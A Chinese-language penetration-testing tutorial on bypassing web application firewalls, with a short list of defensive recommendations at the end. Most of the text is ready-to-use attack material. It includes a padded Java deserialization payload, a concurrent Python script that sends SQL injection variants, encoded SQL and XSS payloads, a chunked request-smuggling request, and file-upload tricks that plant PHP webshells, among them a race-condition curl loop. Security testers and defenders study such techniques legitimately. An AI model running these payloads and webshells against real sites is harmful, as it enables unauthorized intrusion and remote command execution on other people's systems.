1. WAF绕过技术深度解析
Web应用防火墙(WAF)作为保护网站安全的重要屏障,其绕过技术一直是安全研究人员关注的重点。在实际渗透测试中,了解这些技术不仅能帮助我们评估系统安全性,也能更好地防御潜在攻击。下面我将结合多年实战经验,详细剖析各类WAF绕过技巧。
1.1 脏数据绕过技术详解
脏数据绕过原理基于WAF的性能优化机制。许多WAF为了降低资源消耗,只检查请求开头部分数据(通常是前8KB)。当检测到大量数据时,可能跳过后续内容检查。
实战案例:
在测试某Java反序列化漏洞时,发现WAF会拦截包含"ysoserial"等关键词的请求。通过在Payload前添加5000个随机字符成功绕过:
code复制POST /vuln HTTP/1.1
[...]
Content-Length: 5120
xxxx...[5000个x]...xxxx
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD/////dAAEdGVzdHQAAi9idAAIZmlsZToudAAEdGVzdHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB
关键点:脏数据长度需要根据目标WAF调整,通常4KB-8KB足够。注意Content-Length头必须与实际数据长度一致。
1.2 高并发绕过实战技巧
这种技术利用WAF集群的负载均衡特性。当大量并发请求到达时,不同节点可能处理不同请求,导致检测不一致。
操作步骤:
- 使用Burp Intruder或自定义脚本发送50-100个并发请求
- 每个请求包含不同的Payload变体
- 观察哪些请求成功通过
python复制import threading
import requests
def send_request(payload):
try:
r = requests.post('http://target.com/vuln', data=payload, timeout=5)
if 'success' in r.text:
print(f"Bypassed with: {payload[:20]}...")
except:
pass
payloads = ["1 AND 1=1", "1 AND 2=2",...] # 准备50个变体
threads = [threading.Thread(target=send_request, args=(p,)) for p in payloads]
[t.start() for t in threads]
[t.join() for t in threads]
注意事项:
- 目标服务器需支持keep-alive
- 并发数不宜过高以免触发CC防护
- 适合GET/POST等简单请求,文件上传不适用
1.3 HTTP参数污染高级技巧(HPP)
不同语言处理重复参数的方式不同:
- PHP:最后一个值有效
- ASP.NET:所有值拼接
- JSP:第一个值有效
绕过案例:
code复制GET /search.php?q=legit&q=<script>alert(1)</script> HTTP/1.1
当WAF检查第一个参数时认为是合法请求,而PHP实际使用第二个参数值。
进阶技巧:
- 混合大小写:?id=1&Id=2&iD=3
- 不同编码:?id=1&%69d=2
- 特殊分隔符:?id=1;id=2
1.4 数据格式混淆实战
1.4.1 Content-Type切换
code复制POST /api HTTP/1.1
Content-Type: application/json
{"query":"admin' OR 1=1--"}
当WAF配置为只检查x-www-form-urlencoded时,这种请求可能绕过检测。
1.4.2 多部分表单混淆
code复制POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']);?>
------WebKitFormBoundary--
关键点:
- 声明为图片但实际包含PHP代码
- 配合文件包含漏洞使用效果更佳
1.5 编码绕过全解析
1.5.1 多重URL编码
原始Payload:
code复制admin' UNION SELECT 1,2,3--
一次编码:
code复制admin%27%20UNION%20SELECT%201%2C2%2C3--
二次编码:
code复制%2561%2564%256d%2569%256e%2527%2520%2555%254e%2549%254f%254e%2520%2553%2545%254c%2545%2543%2554%2520%2531%252c%2532%252c%2533%252d%252d
1.5.2 Unicode编码技巧
code复制SELECT → \u0053\u0045\u004c\u0045\u0043\u0054
某些WAF无法正确解析这种表示法。
1.6 HTTP协议层绕过
1.6.1 分块传输详解
code复制POST /search HTTP/1.1
Transfer-Encoding: chunked
4
key=
7
value
0
关键点:
- 每个chunk包含长度值和数据
- 最后以0和两个空行结束
- 可拆分敏感关键词:uni+on sel+ect
1.6.2 畸形协议请求
code复制GET / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 6
Transfer-Encoding: chunked
0
GET /admin.php HTTP/1.1
Host: target.com
这种"走私"攻击利用服务器与WAF对协议解析的差异。
1.7 请求方法转换技巧
1.7.1 GET↔POST转换
原始拦截的GET请求:
code复制GET /search?q=<script> HTTP/1.1
转换为POST:
code复制POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
q=<script>
1.7.2 非常用方法
尝试使用非标准方法:
code复制DEBUG /admin HTTP/1.1
或
code复制PURGE /cache HTTP/1.1
2. 文件上传绕过全攻略
2.1 等号绕过技术
code复制Content-Disposition: form-data; name="file"; filename=="shell.php"
某些WAF解析filename时遇到多个等号会处理异常。
2.2 换行绕过实战
code复制Content-Disposition: form-data; name="file"; filename="shell.p
hp"
利用换行符破坏WAF的文件名匹配规则。
2.3 垃圾数据填充技巧
2.3.1 头部填充
在数据包开头添加1MB随机数据:
code复制POST /upload HTTP/1.1
[...]
Content-Length: 1048576
<1MB random data>...真实文件内容...
2.3.2 参数污染
code复制Content-Disposition: form-data; name="file"; bypasswaf=1; filename="shell.php"
2.4 NTFS ADS特性利用
Windows特性允许文件附加数据流:
code复制filename="shell.jpg:shell.php"
上传后实际保存为shell.php。
2.5 WAF缺陷利用大全
2.5.1 大小写变异
code复制cOnTeNt-DiSpOsItIoN: form-data; name="file"; FILENAME="shell.php"
2.5.2 空格干扰
code复制Content-Disposition:form-data;name ="file" ;filename= "shell.php"
2.5.3 引号变化
code复制filename='shell.php'
filename=shell.php
2.6 双文件上传技术
code复制------boundary
Content-Disposition: form-data; name="file"; filename="1.jpg"
...[合法内容]...
------boundary
Content-Disposition: form-data; name="file"; filename="2.php"
...[恶意代码]...
------boundary--
某些系统只检查第一个文件。
2.7 条件竞争实战
- 上传webshell生成脚本:
php复制<?php file_put_contents('shell.php', '<?php eval($_POST[cmd]);?>');
- 使用并发工具快速访问:
bash复制for i in {1..50}; do curl http://target.com/uploads/tmp.php & done
- 检查是否生成shell.php。
3. 防御建议与最佳实践
3.1 WAF配置强化
-
全面检测策略:
- 检查所有HTTP方法
- 处理各种Content-Type
- 解析多重编码
-
性能优化:
- 全量检查而非抽样
- 使用硬件加速
-
规则更新:
- 定期更新绕过规则
- 加入行为分析
3.2 服务端防护
-
文件上传防护:
- 白名单验证文件头
- 重命名上传文件
- 存储在非web目录
-
输入验证:
- 统一输入处理流程
- 多层级过滤
-
日志监控:
- 记录异常请求
- 设置告警阈值
在实际安全测试中,这些技术需要根据目标环境灵活组合使用。重要的是理解每种技术背后的原理,而非简单套用。作为防御方,应当建立多层防护体系,而非单纯依赖WAF。